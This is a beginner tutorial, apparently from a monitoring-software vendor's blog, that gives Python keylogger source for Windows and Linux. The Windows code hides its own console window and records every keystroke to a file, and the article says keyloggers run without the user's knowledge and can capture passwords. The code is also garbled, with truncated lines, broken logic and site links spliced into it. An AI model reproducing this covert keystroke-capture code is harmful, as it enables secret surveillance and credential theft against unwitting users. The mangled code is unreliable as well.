How to Create a Keylogger in Python: Beginner’s Guide

In this article, we will teach you how to build a keylogger in Python. A keylogger is software that records the keys pressed on a keyboard. This is also called “keyboard capturing”. Keyloggers usually work secretly and the person using the computer is unaware that a keylogger is storing the keys they have pressed.

These computer programs are designed to work on computer software targets. Keyloggers are used in IT units of organizations for technical issues within computers and networks. Families and businesses legally use keyloggers to monitor network use without direct notification of users. However, malicious individuals can use keyloggers on public computers to steal passwords or credit card information. In general, keyloggers can be used for good or bad purposes. Here, the goal of explaining how to build a keylogger in Python is to use it for positive purposes such as debugging and similar purposes; it is obvious that the consequences of any other use of this article are the responsibility of the user and the magazine “SPY24” does not accept any responsibility for it. In this article, we have explained how to build a keylogger in Python for Windows and Linux operating systems. To do this, you need to download the following Python libraries:

Creating a Keylogger in Python for Windows OS

In the following, the necessary code for creating a keylogger in Python for Windows OS is provided.

# Python code for keylogger
# to be used in windows
import win32api
import win32console
import win32gui
import pythoncom, pyHook

READ More:  What is Termux? What are the capabilities of Termux?

win = win32console.GetConsoleWindow()
win32gui.ShowWindow(win, 0)

def OnKeyboardEvent(event):
if event.Ascii==5:
if event.Ascii !=0 or 8:
#open output.txt to read current keystrokes
f = open(‘c:\output.txt’, ‘r+’)
buffer =
# open output.txt to write current + new keystrokes
f = open(‘c:\output.txt’, ‘w’)
keylogs = chr(event.Ascii)
if event.Ascii == 13:
keylogs = ‘/n’
buffer += keylogs
# create a hook manager object
hm = pyHook.HookManager()
hm.KeyDown = OnKeyboardEvent
# set the hook
# wait forever

Now, the file should be saved in Windows, in the path C:\ and with the name, and then the Python file should be executed. The output of the above code snippet is that the keylogger starts working in the background and saves all the data on the log file “c:\output.txt”.

The Best Windows Keylogger - SPY24
The Best Windows Keylogger – SPY24

Creating a Keylogger in Python for Linux OS

Pyxhook requires Python-xlib to be installed. If this is not installed on the user’s system, it must be installed using the following command.

sudo apt-get install python-xlib

The Pyxhook library can be downloaded from here [github].

# Python code for keylogger
# to be used in linux
import os
import pyxhook

# This tells the keylogger where the log file will go.
# You can set the file path as an environment variable (‘pylogger_file’),
# or use the default ~/Desktop/file.log
log_file = os.environ.get(
# Allow setting the cancel key from environment args, Default: `
cancel_key = ord(

# Allow clearing the log file on start, if pylogger_clean is defined.
if os.environ.get(‘pylogger_clean’, None) is not None:
except EnvironmentError:
# File does not exist, or no permissions.

#creating key pressing event and saving it into log file
def OnKeyPress(event):
with open(log_file, ‘a’) as f:

READ More:  How to Fix Instagram Login Error! Problem and Its Solution with 18 Methods

# create a hook manager object
new_hook = pyxhook.HookManager()
new_hook.KeyDown = OnKeyPress
# set the hook
new_hook.start() # start the hook
except KeyboardInterrupt:
# User cancelled from command line.
except Exception as ex:
# Write exceptions to the log file, for analysis later.
msg = ‘Error while catching events:\n {}’.format(ex)
with open(log_file, ‘a’) as f:

The output of the above code is that the keylogger starts running in the background and saves all data in the file “file.log” located in the directory “/home/akash/Desktop”. Of course, the username (which is “aksh” in this example) may be different on different systems, and each person should enter their own working directory address in the code.

If the above text was helpful for you, the following tutorials are also recommended for you:

keleis andre

Keleis Andre is A tech writer specialising in cybersecurity expert, author, and Manager at SPY24 Company. On this and several other GDPR, MDR, and ethical hacking projects. Hacking, Social Engineering, and Security Awareness Training: My goal is to educate, inform and entertain as I write about my journeys in the tech and cyber space.

Leave a Reply

Your email address will not be published. Required fields are marked *